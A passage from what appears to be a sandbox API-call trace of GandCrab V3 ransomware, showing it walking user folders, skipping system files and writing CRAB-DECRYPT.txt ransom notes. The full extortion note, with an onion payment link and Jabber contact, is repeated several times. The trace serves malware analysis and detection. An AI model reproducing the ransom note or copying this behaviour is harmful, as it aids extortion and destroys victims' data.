and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.091] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.091] CloseHandle (hObject=0x3d4) returned 1
	[0136.091] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.092] lstrlenW (lpString="C:\\Users\\Default\\Documents\\") returned 27
	[0136.092] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Documents\\*") returned="C:\\Users\\Default\\Documents\\*"
	[0136.092] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3248230
	[0136.092] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.092] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.092] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.092] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.092] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.092] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.092] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.092] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\Documents\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\Documents\\CRAB-DECRYPT.txt"
	[0136.092] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.093] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\Documents\\CRAB-DECRYPT.txt") returned 43
	[0136.093] lstrlenW (lpString="C:\\Users\\Default\\Documents\\CRAB-DECRYPT.txt") returned 43
	[0136.093] lstrlenW (lpString=".txt") returned 4
	[0136.093] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.093] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.093] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.093] lstrlenW (lpString="C:\\Users\\Default\\Documents\\CRAB-DECRYPT.txt") returned 43
	[0136.093] lstrlenW (lpString="C:\\Users\\Default\\Documents\\CRAB-DECRYPT.txt") returned 43
	[0136.093] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.093] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0136.093] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.094] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.094] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.094] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.094] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.094] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.094] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.094] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.094] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.094] lstrcmpW (lpString1="My Music", lpString2=".") returned 1
	[0136.094] lstrcmpW (lpString1="My Music", lpString2="..") returned 1
	[0136.094] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music"
	[0136.094] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\"
	[0136.094] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.094] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.095] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.095] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.095] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.095] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.095] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.095] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.095] lstrcmpiW (lpString1="C:\\Users\\Default\\Documents\\My Music\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.095] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.095] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.095] lstrcmpiW (lpString1="C:\\Users\\Default\\Documents\\My Music\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.095] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.097] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Documents\\My Music\\\\CRAB-DECRYPT.txt") returned 53
	[0136.097] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Music\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\documents\\my music\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0136.099] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.099] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0136.100] CloseHandle (hObject=0x3e8) returned 1
	[0136.100] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.100] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Music\\") returned 36
	[0136.100] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*") returned="C:\\Users\\Default\\Documents\\My Music\\*"
	[0136.100] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0xffffffff
	[0136.101] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.101] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1
	[0136.101] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1
	[0136.101] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures"
	[0136.101] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\"
	[0136.101] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.101] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.101] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.101] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.101] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.101] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.101] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.102] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.102] lstrcmpiW (lpString1="C:\\Users\\Default\\Documents\\My Pictures\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.102] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.102] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.102] lstrcmpiW (lpString1="C:\\Users\\Default\\Documents\\My Pictures\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.102] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.102] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Documents\\My Pictures\\\\CRAB-DECRYPT.txt") returned 56
	[0136.102] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\documents\\my pictures\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0136.104] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.104] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0136.105] CloseHandle (hObject=0x3e8) returned 1
	[0136.105] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.105] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Pictures\\") returned 39
	[0136.105] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*"
	[0136.105] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0xffffffff
	[0136.105] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.106] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1
	[0136.106] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1
	[0136.106] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos"
	[0136.106] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\"
	[0136.106] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.106] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.106] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.106] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.106] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.106] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.106] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.106] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.107] lstrcmpiW (lpString1="C:\\Users\\Default\\Documents\\My Videos\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.107] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.107] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.107] lstrcmpiW (lpString1="C:\\Users\\Default\\Documents\\My Videos\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.107] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.107] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Documents\\My Videos\\\\CRAB-DECRYPT.txt") returned 54
	[0136.107] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Videos\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\documents\\my videos\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0136.108] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.108] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0136.111] CloseHandle (hObject=0x3e8) returned 1
	[0136.113] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.114] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Videos\\") returned 37
	[0136.114] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*") returned="C:\\Users\\Default\\Documents\\My Videos\\*"
	[0136.114] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0xffffffff
	[0136.114] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0136.114] FindClose (in: hFindFile=0x3248230 | out: hFindFile=0x3248230) returned 1
	[0136.114] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.114] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1
	[0136.114] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1
	[0136.114] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads"
	[0136.114] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\"
	[0136.114] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.115] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.115] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.115] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.115] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.115] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.115] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.115] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.115] lstrcmpiW (lpString1="C:\\Users\\Default\\Downloads\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.115] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.115] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.115] lstrcmpiW (lpString1="C:\\Users\\Default\\Downloads\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.115] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.116] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Downloads\\\\CRAB-DECRYPT.txt") returned 44
	[0136.116] CreateFileW (lpFileName="C:\\Users\\Default\\Downloads\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\downloads\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.116] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.116] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.117] CloseHandle (hObject=0x3d4) returned 1
	[0136.117] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.118] lstrlenW (lpString="C:\\Users\\Default\\Downloads\\") returned 27
	[0136.118] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Downloads\\*") returned="C:\\Users\\Default\\Downloads\\*"
	[0136.118] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3248230
	[0136.118] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.118] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.118] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.118] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.118] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.118] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.118] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.118] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\Downloads\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\Downloads\\CRAB-DECRYPT.txt"
	[0136.118] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.118] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\Downloads\\CRAB-DECRYPT.txt") returned 43
	[0136.118] lstrlenW (lpString="C:\\Users\\Default\\Downloads\\CRAB-DECRYPT.txt") returned 43
	[0136.119] lstrlenW (lpString=".txt") returned 4
	[0136.119] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.119] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.119] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.119] lstrlenW (lpString="C:\\Users\\Default\\Downloads\\CRAB-DECRYPT.txt") returned 43
	[0136.119] lstrlenW (lpString="C:\\Users\\Default\\Downloads\\CRAB-DECRYPT.txt") returned 43
	[0136.119] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.119] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
